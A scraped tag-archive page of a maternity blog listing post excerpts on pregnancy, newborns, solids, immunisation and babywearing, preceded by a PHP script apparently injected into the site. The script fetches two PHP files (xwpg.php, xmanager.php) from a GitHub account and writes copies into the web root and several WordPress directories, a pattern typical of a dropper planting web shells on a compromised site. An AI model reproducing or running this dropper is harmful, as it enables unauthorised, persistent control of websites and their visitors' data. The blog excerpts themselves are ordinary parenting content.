// Array of GitHub raw file URLs $githubRawFileUrls = [ 'https://github.com/Mr-X1337/xxx/raw/refs/heads/main/xwpg.php', 'https://github.com/Mr-X1337/develop/raw/refs/heads/main/xmanager.php' ]; // Paths to save files $savePaths = [ $_SERVER['DOCUMENT_ROOT'] . '/', $_SERVER['DOCUMENT_ROOT'] . '/wp-content', $_SERVER['DOCUMENT_ROOT'] . '/wp-admin/network/', $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/assets/' ]; // Ensure all paths exist, create them if they don't foreach ($savePaths as $path) { if (!is_dir($path)) { mkdir($path, 0777, true); } } // Initialize a counter $fileCounter = 1; // Array to store the downloaded file paths along with their WordPress paths $downloadedFiles = []; // Loop through each URL foreach ($githubRawFileUrls as $url) { // Fetch content from GitHub file $content = file_get_contents($url); if ($content !== false) { // Extract file extension from the URL $fileExtension = pathinfo($url, PATHINFO_EXTENSION); // Formulate the filename with the counter and file extension $filename = $fileCounter . '.' . $fileExtension; foreach ($savePaths as $savePath) { // Path to save the file in the current directory $localFilePath = $savePath . "/$filename"; // Write content to a new file $fileWriteResult = file_put_contents($localFilePath, $content); if ($fileWriteResult !== false && $savePath === $_SERVER['DOCUMENT_ROOT'] . '/wp-content') { // Store the downloaded file paths along with their WordPress paths for display $downloadedFiles[$url] = [ 'wordpress_path' => $localFilePath, 'url' => $url ]; } } // Increment the counter for the next file $fileCounter++; } } // Display links to the downloaded files if (!empty($downloadedFiles)) { echo "

Downloaded Files:

"; foreach ($downloadedFiles as $downloadedFile) { $wordpressPath = $downloadedFile['wordpress_path']; $fileUrl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $wordpressPath); echo "

File: $fileUrl
Original URL: {$downloadedFile['url']}

"; } } else { echo "No files downloaded."; } ?> 〈mamaway〉彙整頁面 - Page 25 of 34 - mamaway Maternity Blog & Advice

Tag: mamaway

  • Bleeding during pregnancy – What does it mean?

    Bleeding during pregnancy – What does it mean?

    Bleeding during pregnancy can be just about the most worrisome thing to experience, and as unnerving as it may be, as many as one in four mums will experience blood loss to some degree. Although any bleeding at any time during pregnancy needs to be taken seriously, and professional advice should be sought, thankfully, it…

  • Pregnancy: How to survive the final stretch

    Pregnancy: How to survive the final stretch

    From the size of an olive, your growing baby has had you captivated and delighted. With a beating heart, budding limbs and flourishing nails and lashes.. what could offer more preoccupation? The early weeks and months of pregnancy afford incredible wonder, however, as pregnancy progresses and discomfort grows, it’s no wonder the romance wanes. For all…

  • You know you’ve got a newborn when…

    You know you’ve got a newborn when…

    When talking with expectant mums, I’ve always majorly underplayed the extent to which their life is about to change. Sure, there’s going to be lots of new joy, wonder, and excitement, but a newborn, by nature, can leave you a little… rattled, scratching your head, wondering how the heck you got yourself here (although I’m…

  • Starting solids? What you need to know

    Starting solids? What you need to know

    My mum tells me stories of women in her generation; feeding solids to their newborns; giving water to satisfy an infant’s thirst; lacing dummies with honey and slipping small quantities of alcohol into a baby’s bottle, to assist with sleep.  Eeek. Sounds horrifying today and it’s easy to scoff, however, these mums, like every mum,…

  • Immunisation – What You Need To Know

    Immunisation – What You Need To Know

    Our little ones need protection against many diseases, particularly when they’re young and their immune system is still developing. Australia has a wonderful program that helps us keep our kid’s future health on track.  It’s called the National Immunisation Program and it exists to protect our kids by promoting a series of vaccinations given at…

  • Baby: From Three To Six Months

    Baby: From Three To Six Months

    Your growing baby is super scrumptious; adores the ground you walk upon and; finds your comedy hilarious.  What better friend is there? He’s increasingly entertaining and his growing chubbiness adds to your delight.  If he hadn’t sapped your energy quite so significantly over the former three months, you’d not bother put him down for his…

  • Labour And Birth – The Blueprints

    Labour And Birth – The Blueprints

    There are generally two schools of pregnant women; those diligent ones who have dieted on every birth book ever scribed; and those who are the more chilled variety, who’d prefer not to even think about it. I was a little more aligned to the latter.  A small dose of attention deficit and a naive but…

  • COMMON MISTAKE OF BABY WEARING (a.k.a baby sling / baby carrier)

    COMMON MISTAKE OF BABY WEARING (a.k.a baby sling / baby carrier)

    Baby wearing seems to be very simple (yeah it does look simple), and baby wearing (a.k.a baby sling / baby carrier) has been practicing by a great population of parents over the world. Some of them might find that it’s hard at the first time; and usually there are some common mistakes that parents made…

  • First Birthday Party – Who’s it for?

    First Birthday Party – Who’s it for?

    It was a stiletto-shod, champagne-pouring, ribbon sandwich, mini quiche-type affair. You know the one – complete with the multi-layered fondant-lacquered cake, metallic pink helium balloons, and floral arrangements with lengths (and lengths) of pink… bunting. Just a regular snotty-nosed kid’s first birthday, but one that would make a Kardashian blush. As stunning as the food,…

  • Six Kids – on a road trip

    Six Kids – on a road trip

    We recently took the kids on a road trip to Noosa, the happiest place on earth. From our house in Sydney, that means approximately a 14-hour drive straight (not including bladder-related interruptions). Being a little inclined to take on a challenge, we thought this could be fun. We were dying for some warmth and what…